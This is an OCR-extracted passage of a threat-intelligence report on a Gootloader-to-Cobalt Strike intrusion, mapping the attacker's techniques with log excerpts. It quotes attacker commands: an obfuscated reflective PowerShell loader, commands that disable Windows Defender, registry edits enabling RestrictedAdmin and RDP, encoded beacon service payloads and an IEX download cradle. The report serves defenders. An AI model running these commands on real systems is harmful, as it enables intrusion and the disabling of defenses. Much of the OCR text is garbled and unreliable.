The use of ‘Logon type 9’ alongside an authentication type of ‘seclogo’ strongly indicates credential use, akin to
the ‘runas’ command’s /netonly method, as used by Cobalt Strike’s ‘pass the hash’ technique.

(https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials).

Defense Evasion

On the beachhead host, to avoid dropping files to disk, several registry keys were created to store the payloads

under:

HCKU\Software\Microsoft\Personalization

l Personalization
|| chKSthjQBNFY
|| geRBADXTDCKN
Settings

Phone

Each key has an associated payload (stage 1 and 2). These keys stored the data for the Cobalt Strike beacon

executed on the beachhead.

geRBAdXTDCKN
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Value Type Data

3[1] 0 REG_S5Z 4d 5590000 300000004000000ffF0000b3000000000000004000000000000000000000000000000000000000000000000, ..
3_'3] 1 REG_SZ 15fe0116fe011308 1108 2d03002b 3806 175802071202 7h3a0000046ed00800000228 2 1000002 28 2600000206 5a6a536d. . .
gﬂ 2 REG_S5Z 130811083af1000000000f027c640000047b460000041304110416fe0316fe0 11308 110835950000000012030712027b 1.,
39] 3 REG_5Z 50064d00060058064d000600 1b024a00060069064a0006007e064a00060082064d0006000b024d000600a3064a00060. ..
3_'_1] 4 REG_SZ 416464726573 7300436f 707953656 37460616 730026 3746f 720043686 1726 16 374657 2697374696 37300 54696d6 544, ..,
3[1] 5 REG_S5Z 747472696275 74650053747 269626 70053756 273747 269600 700436 foe 7o 5727400 5464279 746 5006 765 745F4ca 56e. .
3_'3] =] REG_SZ A3756CT47572653d6ea 57574726 160220507 56 260696 34b 65 79 546f8ba 56 3d623737613563353631393334653035839. ..
cbkSBtbjQBNFy

Value Type Data

jﬂﬂ 0 REG_SZ yduasgvtggvyqqffffgvbpgoggvvyggaaogogaaggoggaaagogaagvvpagqyvewtbavevvbyvscdrwbpywyccdrwuyipisotrvovari. .
39] 1 REG_SZ yyryvpytggooyyryvyggpycovyrycvobwvidfwuvwswywvidpscipteowctwovptfb ffoyyupufioeropdyueycoyyrywaaapsyyryve..
3_'3] 2 REG_S7 oywapsoyryvopsuyryvppbuvwppsuyryvyphywwypsyyryfidiptecwvptoovwib tdopotvvidocospdiufyubueufudctsyw thiwtps. .
3}3] 3 REG_SZ oywupdsvpggvpsytvypsutvpebprbpfiffffebsscovyryvpggeppdggptopffebppuouiutptecwvcovyryvpggpbocaryrvepoagg. ..
39] 4 REG_SZ uisictvoateucycfirdiouchiubtyfosyabtrpwrydfeyooraobttbpfevewsywfyefaibviaibcsdociubrrupswyewpyycaivtddooyodiv. ..,
3_'3] 5 REG_S7 rfcewpcoreiveefrarutctfoobviesyypauvcavvipdroefvsaecuecpferdutpouaordfyvdwsrosyriesrefoviaieusdwusuviorufiubvy. ..
g_l_l] [ REG_SZ aodrbfdbtuubivebiytebooayrovoowrttadufdusburcessucorbrfieeucyyouwwetvorffauvdpfitydcoptyauwoyycaisuoduusut. ...
39] 7 REG_SZ rurawfuwfvbracyceacrbeacoaycyyordteecvipreupyycaiswctdeyeucyfraicrrbvrfvbrydvsurreseyvaieuyfsyfvswarufuivdid, ..
3_'_1] 8 REG_S7 usdtoborayfuywpcdrpioduyfvippway fisvdyoohirrpwavaodrburiwavtoyeaicrbfdb tawb yyebiyteboibbwadwrodocytbpoiisy. ...
g_l_l] g REG_SZ wurypwrreucyyccesafevvbiborcorbfoorbpsuibcedesuvbrywuwrbawevupccdobeaefowouycvoaefevvbiicoredcawtrswrrfat. ..
39] 10 REG_SZ drbeacfcfoyycffoprbrraieuyfbyfvswotuepdeucycooesvocpbfowdrowepddrbfddtesydvsuatsuevarbavrowcyeowvwyraiiv, ..
3[1] 11 REG_57 siopfddtfuvtvsoicoravraiichwacr fotcfpbdttsrowadcirbpwir fuywpedtceopeavuptoyyoydfyywiiusfuyvitdaydiavyouriepsavf. ..

Wby - i . . . P . . . .. i - o . - "o

Execution of the payload to run the Cobalt Strike beacon can be observed by base64 encoded PowerShell
commands

|609265948;sleep -s
(20);60213434;Fsxd="h"+""+"kc"+""+"u:\so"+""+"Ftw"+""+"are\mi"+""+"cro"+""+"soft\Per"+""+"so"+""+"nal"+""+"izati"
+""+"on\geRBADXTDCKN" ; StGSWK=gp -path $sxd;for ($LGSWKQjA=0;3tGSWKgJA -le 705;BLGSWKgjA++)
{Try{$0HhnP+=$tGSWK.$tGSWKgjA}Catch{}}; $tCSWKgjA=0;while($true) {StCSWKgjA++; Sko=[math]:: ("s"+""+"qr"+""+"t")
($LtGSWKgJA);1f($ko -eq 1080){break}}$CVaW=30HhnP.replace("#", $ko); $1Sfdm=[byte[]]::("n"+""+"e"+""+"y")
($CvawW.Length/2); for ($tGSWKgjA=0; $tGSWKgJA -1t BCVaw.Length; $tGSWKgjA+=2){31STdm[$tGSWKgjA/2]=[convert]::
("T"+""+"oBy"+""+"te" ) (BCVaW.Substring ($tGSWKgjA,2),(2*8) )} [reflection.assembly]:: ("L"+""+"0"+""+"ad" ) ($1Sfdm);
[Open]::("T"+""+"es"+""+"¢£") ();B809902482;

During the intrusion we observed activity related to Windows Defender tampering. This command was executed
remotely on the hosts using Cobalt Strike modules such as psexec_psh. Scheduled scanning tasks were deleted,

and a service was created to disable real-time monitoring.

Event 7043, Service Control Manager

General Details

A service was installed in the system.

Service Mame: c3b987b

Service File Mame: powershell.exe -nop -w hidden -c Set-MpPreference -DisableRealtimeMonitoring Strue
Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystem

Scheduled task commands
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schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /¥
schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f

schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /€
Set-MpPreference —-DisableRealtimeMonitoring $true

Set-MpPreference —DisableArchiveScanning $true

Set-MpPreference —DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableScanningNetworkFiles $true
Set-MpPreference —-MAPSReporting ©

Set-MpPreference —-DisableCatchupFullScan $True

Remote Desktop

Restricted Admin Mode was enabled by modifying the DisableRestricted Admin key to 0

CommandLine: reg add "hklm\system\currentcontrolsethcontrolylsz" /f /v DisableRestrictedAdmin /t REG_DWORD /d @

Enabling Restricted Admin Mode allows the attacker to use collected hashes to login instead of a password. An
explanation can be found here [https://github.com/GhostPack/Restricted Admin]. The same technique was

observed by SVR and various other threat actors.

The SVR also modified DisableRestrictedAdmin key to enable remote connections [T1210].
It modified Registry using the following reg command:

* regadd HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v
DisableRestrictedAdmin /t REG_DWORD /d "0" /f

The same technique was also observed in a previous Gootloader case as well as two other public cases.

The second registry modification allowed RDP connections by changing the ‘DenyTSConnections’ setting.
CommandLine: reg add "hklm\system\currentcontrolset\controlh\terminal server™ /f /v fDenyTSConnections /t REG_DWORD /d @
Windows Firewall

On the domain controller, ‘Netsh’ was used to enable the remote desktop firewall profile

CommandLine: netsh firewall set service remotedesktop enable

followed by the remote admin firewall profile

CommandLine: netsh firewall set service remoteadmin enable

Process Injection

We observed process injection activity, with PowerShell and dllhost being utilized to load Cobalt Strike beacons

into the memory on the beachhead host.
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event.action v process.executable v winlog.event_data.Targetimage
CreateRemoteThread detected C:\Windows\SysWOW64\WindowsPowerShell\v  <unknown process>

(rule: CreateRemoteThread) 1.0\powershell.exe

CreateRemoteThread detected C:\Windows\SysWOW64\WindowsPowerShell\v  C:\Windows\System32\dllhost.exe
(rule: CreateRemoteThread) 1.0\powershell.exe

event.action v process.executable v winlog.event_data.Targetimage
CreateRemoteThread detected (rule: C:\Windows\SysWOW64\rundl132.exe C:\Windows\System32\dllhost.exe
CreateRemoteThread)

CreateRemoteThread detected (rule: C:\Windows\SysWOW64\dllhost.exe C:\Windows\System32\dllhost.exe
CreateRemoteThread)

CreateRemoteThread detected (rule: C:\Windows\SysWOW64\d1llhost.exe <unknown process>
CreateRemoteThread)

This can be observed in the memory dump from the beachhead host with the tell-tale
PAGE_EXECUTE_READWRITE protection settings on the memory space and MZ headers observable in the

process memaory space.

powershell.exe| 0xac60000 Oxbadifff VELM PAGE_EXECUTE_READWRITE |1138 Disabled

00| MZRE....

00 5b 89 df 55 89 e5 81 c3 b8 80 00 00 ff d3 68 fO
00 00 00 00 GO0 0O 0O 0O 0O 0O 0O 0O GO0 0O 0O fO 0O 00

powershell.exe 0x169856d0060 0x169856dffff Vads PAGE_EXECUTE_READWRITE 2 1 Disabled

During the intrusion, we observed multiple named pipes utilized by the threat actor’s Cobalt Strike injected

beacons via PowerShell and dllhost:
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Pipe Created:

RuleName: -

EventType: CreatePipe

UtcTime:

ProcessGuid: {995d7daf-925b-63dc-83606
-000000000300}

ProcessId: 5828

PipeName: \netsvc\1324

Image: C:\Windows\SysWOW64\WindowsPow
erShell\v1.0\powershell.exe

User:

Pipe Created:

RuleName: -

EventType: CreatePipe

UtcTime:

ProcessGuid: {995d7daf-925b-63dc-8366
-000000000300 }

ProcessId: 5828

PipeName: \4fcc39

Image: C:\Windows\SysWOW64\WindowsPow
erShell\v1.0\powershell.exe

User:
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PipeName: \4fcc39
PipeName: \netsvc\1324

Pipe Created:

RuleName: -

EventType: CreatePipe

UtcTime:

ProcessGuid: {6c33b5b1-9816-63dc-3806-000000
000300}

ProcessId: 1232

PipeName: \2cf079

Image: C:\Windows\SysWOW64\dllhost.exe
User: NT AUTHORITY\SYSTEM

Pipe Created:

RuleName: -

EventType: CreatePipe

UtcTime:

ProcessGuid: {6c33b5b1-9802-63dc-3606-000000
000300}

ProcessId: 3384

PipeName: \netsvc\415

Image: \ADMINS$\5d78365.exe
User: NT AUTHORITY\SYSTEM

PipeName: \4fcc39
PipeName: \netsvc\415

Credential Access

Across the compromised endpoints where a Cobalt Strike beacon was deployed, the LSASS process was accessed

to retrieve in memory credentials.
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Sourcelmage #  Targetimage = #  GrantedAccess =~  CallTrace =

Suspicious CallTrace with ‘UNKNOWN?” indicates injected code, whilst the Granted Access 0x1010 is a standard
behavior from credential stealing tools such as mimikatz. The code 0x1010 can be broken down to the below

access rights:

e 0x00000010 = VMRead
e 0x00001000 = QueryLimitedInfo

The operator spent some time accessing and viewing files. File that were of the most interest were those that could
indicate credentials storage. In this intrusion ‘Notepad’ was used to view a file within a Passwords file share

location.
"c: Windows\systen32\wotepAD. £x” \\| N R 1o svor o<\ [ -

Discovery

Gootloader

Before hands on keyboard activity, Gootloader ran a number of PowerShell Cmdlets to collect basic host

information.
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goot-excerpt.ps1 X

1

2 HIWtL{{dir enwv: where {

3 $_.value.Length -1t 100

4 = T4

5 (5_.name + "A" + i_.wvalue)

& 1y o+ ("OSWMIAY + (Get-WmiObject Win3Z_OperatingSystem).caption));
7 FLvKcTROF = IWtL{gps sls —unigue | % {
8 f_.name

g 1k
10 = FMmESCt = IWtL(gps where {
11 F_.mainwindowtitle
12 & Tls{
13 f_.name + "A" + I__mainwindowtitle

4 1k
13 = $ELOAVET = IWtL{{({new-object-com shell.application).Namespace(0)).Items ) %
16 = it (3_.IsLink) {

7 0" + 5_.Name
18 H
19 = elseif(i_.IsFolder) {
20 1" + 5_.MName
21 h
22 = elseif{i_.IsFilesystem) {
23 "2" + [I0.Path]::GetFileName(%_.Path)
4 } else {
25 "3" + 5_.Name
26

7 i
28
29 = gdr where {

30 $_.free —-gt 50000

31 - Tls{

37 f_.name + "A" + I__used

33 1

PS Ci\Users' > dir env: | where {
$_.value.Length -1t 100

guabex(?rptps‘\ X

S IwWtL((dir env: where {
5_.value. Length -1t 100
6 {

z
3
4 EE
i \ /msd1.microsoft. com/downoad/sym. . . 5 (5_.name + "A" + $_.value)
ALLUSERSPROFILE rograni 6 1) + (COSWMIA™ + (Get-WmiObject Win3z _OperatingSyst em). caption));
APPDATA 7 B $LVvKCFROF = TwtL(aps | sls -unique | % {
ChocolateyInstall 8 name
9

ChocolateyLastPathUpdate 14245947552331 53 i

Next the host operating system using Get-WmiObject:

PS C:\Users' > Get-WmiObject Win32_OperatingSystem ——
SystemDirectory : C:\Windows\system32 2 ZIWEL((dir env: | where {
Organization 3 $_.value.length -1t 100
BuildNumber 19041 4 & Tls{
RegisteredUser er 5 (5_.name + "A" + 5_ value)
SerialNumber 00330-30000-00000-AA381 6 1) + ("0SWMIA" + (Get-WmiObject Win32 OperatmgSysLEm) caption));
Version : 10.0.19041 7 E SL\.KcFRDr = IntL(gps | sls -unique | % {
8 $_.name
Q i

Followed by running processes with a filter for maintitlewindow using Get-Process.

No filter:

goot-excerptpsl X

CPu(s) 1
s===== 2 EIWtL((dir env: | where {
3 §_.value.Length -1t 100
5 "+ §_value)
6 (Get-WmiObject Win32_OperatingSystem).caption));
7 B $LwvKcFROF = IWtL(gps | sls -unique | % |
] $_. name
9 s
10 © $mESCt = IWtlL(gps | where {
11 $_.mainwindowtitle
12 H TIs
62060 . explorer 13 $_.name + "A" + $_.mainwindowtitle
2692 fontdrvhost 14 s

With filter:
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> gps | where {

a1mwindowtitle goot-excerptpsl X

_.name + "A" + §_.mainwindowtitle

SIWtL((dir env: where {
¥ 5_.value.Length -1t 100
ApplicationFram tAMicrosoft Store = IAER!

2
3
MicrosoftEdgeMM crosoft Edge 5
6
8

(5_.name + "A" + S_.value)
FtEdgeCPAMi crosoft Edge 1) + ("0SWMIA" + (Get-WmiGbject Win32_OperatingSystem).caption));
nt Viewer = $LVKcFROF = IWtL(gps | s1s -unique | % {

poviershe11_iseAwindows Powershell ISE name

TextInputHostAMicrosoft Text Input Application 9 1)

ore. AppAMi oft Store 10 O SmESCt - IWtL(gps | where {
11 5_.mainwindowtitle
PS C:\Users) > | 12 = Tludg
13 §_.name + "A" + $__ mainwindowtitle
14 EN]

> gdr | where [

§_.free -gt 50000 goot-excerpt.ps X

2 EIWEL((dir env: where {

Used {GB) Free {GE) Prowvider CurrentLocati 3 i_.value.Length -1t 100
4 B Tl % {
5 (5_.name + "A" + §_.value
6 1)+ ("0SWMIAT + (Get-WmiObje
7 B SLvKcFROF = IWtL{gps s1s -L
8 $_.name
9 Ioli
10 = $mESCt = IWtL(gps where [
11 5_.mainwindowtitle
12 = Tlsd{
13 f_.name + "A" + §_.mainwi
14 1
15 [= SELOAVET = IWtL(((new-object-
16 = if (5_.IsLink) {
17 "0" + §_.Name
18 1
19 = elseif(i_.IsFolder) {
20 "1" + §_.Name
21 1
22 = elseif(i_. IsFileSystem) {
23 "2" + [I0.Path]::GetF
24 [
25 + 5_.Name
26
27 i
28
29 = gdr | where {
30 §_.free -gt 50000
31 & Tlw{
32 f_.name + "A" + §_.used
33 i
24

RDP Port Discovery

Advanced IP Scanner (https://www.advanced-ip-scanner.com/) was executed from a compromised account and

then used to look for systems with RDP (3389) open.

# ination.port vt process vt network.direction vt event.action
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scannerj}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scannerj}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)
3389 | C:\Program Files (x86)\Advanced IP Scanner}advanced_ip_scanner.exe egress Network connection detected (rule: NetworkConnect)

LDAP
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The DLLHost process (Cobalt Strike beacon) undertook several LDAP (Lightweight Directory Access Protocol)
queries using port 389 and 3268.

# destination.port v t process.executable vt network.direction v t event.action
389 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
389 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
389 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
389 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
389 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
389 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
389 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
389 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)
3,268 | C:\Windows\System32\dllhost.exe egress Network connection detected (rule: NetworkConnect)

Shares Enumeration

Scanning all the network endpoints for the presence of shared folders was undertaken. This is a common
technique we’ve observed in other similar cases to discover and collect information of interest, i.e., credentials and

confidential information.
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The DLLHost (Cobalt Strike beacon) conducted several ping sweeps across endpoints using the ‘ping’ command:

Creator_Process_Mame =

Windows\SyswOWe4\dllhost

Windows\SysWOWe4\dllhost . ¢

Windows\SyswOWed \dllhost
Windows\SysWOWe4\dllhost

Nindows\>ysWOWe4 \dllhost

ENe

Process_Command_Line =

ping

ping

ping

The use of the ping command had several unusual indicators. The command was executed from a SYSTEM

account, and a conhost process was created with no attached console session [https://learn.microsoft.com/en-

us/windows/win32/api/winbase/nf-winbase-wtsgetactiveconsolesessionid#return-value]
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Creator Subject:

Security ID:
Account Mame:
Account Domain:
Logon ID:

Target Subject:

Security ID:

Account MName: =
Account Domain: =

Logon ID:

Process Information:

Mew Process ID: s
Mew Process Name:
Token Elevation Type:

Mandatory Label:

Creator Process ID:
Creator Process MName:
Process Command Line:

Bxeb

S-1-16-16384

Multiple executions of ‘ping’ using these indicators:

Account_Name.£

SYSTEM

SYSTEM

SYSTEM

SYSTEM

SYSTEM

SYSTEM

AD Groups

Creator_Process_Name

C: \Windows\SysWOWG4\PING.EXE

C: \Windows\SysWOW64\PING.EXE

C:\Windows\SysWOW64\PING.EXE

C: \Windows\SysWOWG4\PING.EXE

C:\Windows\SysWOWG4\PING.EXE

C: \Windows\SysWOW64\PING.EXE

C:\Windows\System32\conhost. exe

k%1936

=ForceV1

Process_Command_Line *

W2IVC: \Windows\system32\conhost.

\?\C: \Windows\system32\conhost.

W2V \Windows\system32\conhost.

W2INC: \Windows\system32\conhost.

V2PN \Windows\system32\conhost.

W2INC: \Windows\system32\conhost.

r

axfIffffff -Forcevi

BxfFffffff -Forcevi

axffffffff -Forcevi

exfFffffff -Forcevi

Axffffffff -Forcevi

exffffffff -ForceVi

The threat actor enumerated the “Remote Management Users”, “Remote Desktop Users”, “Local Administrators”

and “Distributed COM Users” groups.

Page 29 of 54


https://thedfirreport.com/wp-content/uploads/2024/02/19530-061.png
https://thedfirreport.com/wp-content/uploads/2024/02/19530-061.png
https://thedfirreport.com/wp-content/uploads/2024/02/19530-062.png
https://thedfirreport.com/wp-content/uploads/2024/02/19530-062.png

https://thedfirreport.com /2024 /02 /26 /seo-poisoning-to-domain-control-the-gootloader-saga-continues /

A security-enabled local group membership was enumerated.

Subject:
Security ID: 5-1-5-21- !
Account Name:
Account Domain:
Logaon ID: Ox10F2042
Group:
Security ID: 5-1-5-32-544
Group Name: Administrators
Group Domain: Builtin
_——— _ - e e e — -

Page 30 of 54


https://thedfirreport.com/wp-content/uploads/2024/02/19530-063.png
https://thedfirreport.com/wp-content/uploads/2024/02/19530-063.png

https://thedfirreport.com /2024 /02 /26 /seo-poisoning-to-domain-control-the-gootloader-saga-continues /

[Request in frame: 22&]
~ Pointer to Sids (lsa_SidArray)
~ SID array:
Count: 4
~ PSID_ARRAY
Referent ID: oxea2dSe2odgslonsg
Max Count: 4
~ SID polnter:
~ SID poimter
Referent ID: Gx8e28482000020880
Count: &

vlnmmmin SID: S-1-5-21- -58a  (Domain SID-Administratur}l
i

Num Auth: 5
Authority: S
subauthorities: 21- -588
IRID: 588 {Administratnr}l
~ SID pointer:
~ SID poimter
Referent ID: OxeE22EE2002820000
NDR-Padding: ceecaeesd
Coupt: 5
~| Domain s1p: s-1-5-21- 2-512 (Domain SID-Domain Admins)|
Fevision: 1
Num Auth: S
Authority: 5

iftiec: 1.513
RID: 512 {Domain Admins}l

~ SID polinter:
v SID poimter
Referent ID: oxea2dSe2odgslonsg
HDR-Padding: oceeaseed
rogunt: &
vlnmmmin SID: 5-1-5-21- -18@@ (Domain SID-Domain RID)I
Revisiom: 1
Mum Auth: S
Authority: ©
ities: 21- -188a
RID: 1lee@e (Domain HIU)I
~ SID polnter:
~ SID poimter
Referent ID: oxoefesesssep2oana
HDR-Padding: Gea8ga8d
Count: S
w |Dc:|nair| SID: 5-1-5-21- -512 {Domain SID-Domain USEPS}I
REvision: 1
Num Auth: 5
Authority: S
subauthorities: 21- -513

NT Error: STATUS_SWK

PowerSploit

PowerView Cmdlets as part of PowerSploit were observed being used to discover the domain configuration.
Observed Cmdlets included Get-DomainFileServer and Get-DomainSearcher. This was passed as a base64
encoded value, from a user context of SYSTEM. The Base64 value SQB is a common indicator of the IEX

keyword, often used for downloading of files.
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The command:

CommandLine: powershell -nop -exec bypass -EncodedCommand SQBFAFEAIAA0AE4AZQBIACOATWBIAGOAZQBJAHQATABOAGUAdAAUAFCAZQB1AGMADABPAGUAbEBOACKAL EBEAGEADWBUAGWADWBNAGY
AUWBBAHIAZQBUAGCAKAANAGEAdABBAHAADEAVACBAMOAYADCAL EAWACAAMAAUADEADEAXADTAMEAX ADAAL wANACKAOWAEAE CAZQBBACBARABVAGBAY(BPAGAAREBPAGWAZOBTAGUACEBZAGUACEA=
CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY'\SYSTEM

Decoded as:
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:12210/"); Get-DomainFileServer

The use of a loop back IP address [127.0.0.1] indicated that the script was delivered through its own implant

[dllhost]. Details of the command use here.

Invocation of Get-DomainSearcher function as a part of the Get-DomainFileServer execution:

CommandInvocation(Write-Verbose): "Write-Ver
ParameterBinding(Write-Verbose): name="Message"; value="[Get-DomainSearcher]| search ba
se: LDAP://f DG , UL '

Severity = Informational
oleHost
5.7.198417.986
Ba48e59d-c632-48b2-aaf3-e8d699686b58
tion = powershell -nop -exec bypass -E dedCommand SOBFAFgAIAACAE
\ A ALgBEAGBAdWBUAGWABWEh
\HIA20Bu, 4 . AHA ) MQAyADCA AxADAALw
OwAgQAECAZOBBACBARABVA YOBpAG4ARgBpAGWAZQBTAGUACgBZ
Engine Version = 5.1.19841
Runspace ID = 7ff527ca-dB834-4618-98
Pipeline ID = 1
Command Name = Write-Verbose
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number a
NT AUTHORITY\SYSTEM
nnected User =
Shell ID = Microsoft.PowerShell

Lateral Movement

Cobalt Strike beacons were deployed across several endpoints using remote service creation. Services were either

created based on Powershell base64 encoded payloads or as a dropper executable.
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Event 7043, Service Control Manager

General Details

A service was installed in the system.

Service Mame: abfdebd

Service File Mame: 2%COMSPECS: /b fc start /b /min powershell -nop -w hidden -encodedcommand
JABzADOATgBIAHCALOEPAGIAagBIAGMAdAAGAEKATWAUAENAZ OBAGEACgBIAFMAABYAGUAYOBLAC Y
yAHOAXOABADoARgEyAGEABOBCAGEACWEBIADYANABTAHCAcgEpAGAAT wADACIASAADAHMASOBEAEE
LADEAVWEBIAFgAUABhAESACQBEACSASABIADYARgBCAGDAVABHADKABABRAGEAIWBUAFEATgBZAGMADL

Cobalt Strike beacon PowerShell payloads have recognizable indicators, including random service name, use of

COMPSPEC, and PowerShell parameters. The Base64 encoding starting with JAB is a common indicator of
variables being used.

Compiled Cobalt Strike beacons were dropped onto Domain Controllers

Event 7043, Service Control Manager

General Details

A service was installed in the system.

Service Name: adalead
Service File Name: WVADMINS adalead exe
Service Type: user mode service

Service Start Type: demand start
Service Account: LocalSystem

This particular beacon was detected by the host AV [Windows Defender eventID 1117] and removed.

Threat Name Trojan:Win32/WacatacH'ml
Severity ID 5

Severity Name Severe

Category ID 8

Category Name Trojan

Cobalt Strike beacons distributed with SMB admin shares

The diagram below shows the distribution of Cobalt Strike beacons to hosts in the environment over SMB admin
shares.
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In this intrusion, the “reg add” command was executed remotely through WMI to attempt to permit RDP

connections by changing the “DenyTSConnections” key to false (0), as shown with the network traffic capture

below.

reg add "HKLM\SYSTEM\CurrrentControlSet\Control\Terminal Server" /f /v fDenyTSConnections /t REG_DWOI
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........................... L...[WMI[Win3Z ProcessStartup] .MappingStrings.

__PARAMETERS..reg add "hklm\system\currentcontrolsethcontrol
e eiees eeeeeaas B R,

.Win32_Process5tartup..Abstract. LDC.]l(‘ LUUID. . {8582C408 - 5FBB-1102-AACL 666998C?3UC7} .CreateFlags. . - 2B
................................................ uint32..MappingStrings. . . .Min32API |Process and Thlead Funt_LJuns|CreaLePr‘0r_ess|da{leaLLUr1Fldf,s .BitMap...

The threat actor again executed a command to modify the registry key to enable Restricted Admin mode remotely

via WMI. This activity was captured via Windows eventID 4688.

Level Date and Time Source Event.. Task Category

(D Information Microsoft Windows security auditing. 4688 Process Creation
':D Information Microsoft Windows security auditing. 4688 Process Creation
':D Information Microsoft Windows security auditing. 4688 Process Creation
(i:' Information Microsoft Windows security auditing. 4688 Process Creation
® Information Microsoft Windows security auditing. 4688 Process Creation
(D Information Microsoft Windows security auditing. 4688 Process Creation
':i:' Information Microsoft Windows security auditing. 4688 Process Creation

Event 4688, Microsoft Windows security auditing.
General Details

© Friendly View () XML View

+ System
- EventData
SubjectUserSid S-1-5-20
SubjectUserName
SubjectDomainName
SubjectLogonld 0x3e4
NewProcessld 0xa78
NewProcessName C\Windows\System32\reg.exe
TokenElevationType %%1936
Processid Oxcdc
CommandLine l’eg add "hkIm\system\currentcontrolset\control\lsa" /f /v DisableRestrictedAdmin /t REG_DWORD /d 0 |
TargetUserSid  S-1-0-0
TargetUserName
TargetDomainName
TargetLogonld 0x16606a9
ParentProcessNameIC:\Windows\System32\wbem\WmiPrvSE.exe
MandatoryLabel S-1-16-12288

Remote Desktop Protocol

RDP was used to move laterally between several hosts. The diagram below shows the RDP connections made by

the threat actor.
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Windows eventlog for RDP “RemoteDesktopServices-RdpCoreTS/Operational” eventID 131 shows RDP activity

with details like client IP and source port.

<Channel>Microsoft-Windows-RemoteDesktopServices-
RdpCoreT5/Operational=/Channel =
<Computer= <f/Computer=
<Security UserID="5-1-3-20" /=
</System>
<EventData=
=Data Name="ConnType">=TCP</Datg>
|<_Data Mame="ClientIF"= 3:64046</Data= |
</EventDataz
</Event>

Remote Service creation with MSRPC

The threat actor utilized RPC to create services remotely. Using MSRPC Service Control Manager(SCM) is a
known Cobalt Strike feature to execute code on remote hosts. Here the CreateWowService call is used to run
PowerShell command to disable Windows Defender Real Time Monitoring. Adding the password or NTLM hash

in wireshark will decrypt the traffic.
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Frag Length: 33 > ms
Hod

Seler e3d

0 60 02 02 £ 21 6F 00 10 80 0 62 03 60 80 82

@0 60 00 00 53 00 00 00 00 6B 00 02 53 0 0 90

76 60 £ 00 77 60 5 G0 720873 00 66 60 £S5 G
opnum: 63 coso Gc o & o0 22 0 65 o0 75 0@ 65 00 20 00 2d @B 1
fesponse in frame: 11 como ce o o o0 70 00 20 G0 2 0@ 77 00 20 00 65 @B N
Encryptea stab dats (truncated] Js || 0250 69 00 64 00 64 00 65 00 e o0 2000 2000 G300 i

| ST s e o b S35 72 a5 53 oo ca o0 65 o8 7290 55 0 o 3 55 09
o = e v
—ll Do WTudse, Facker rlicc 2 - cobo &5 0m 20 00 2d 00 44 G0 9 06 73 00 6100 200 &
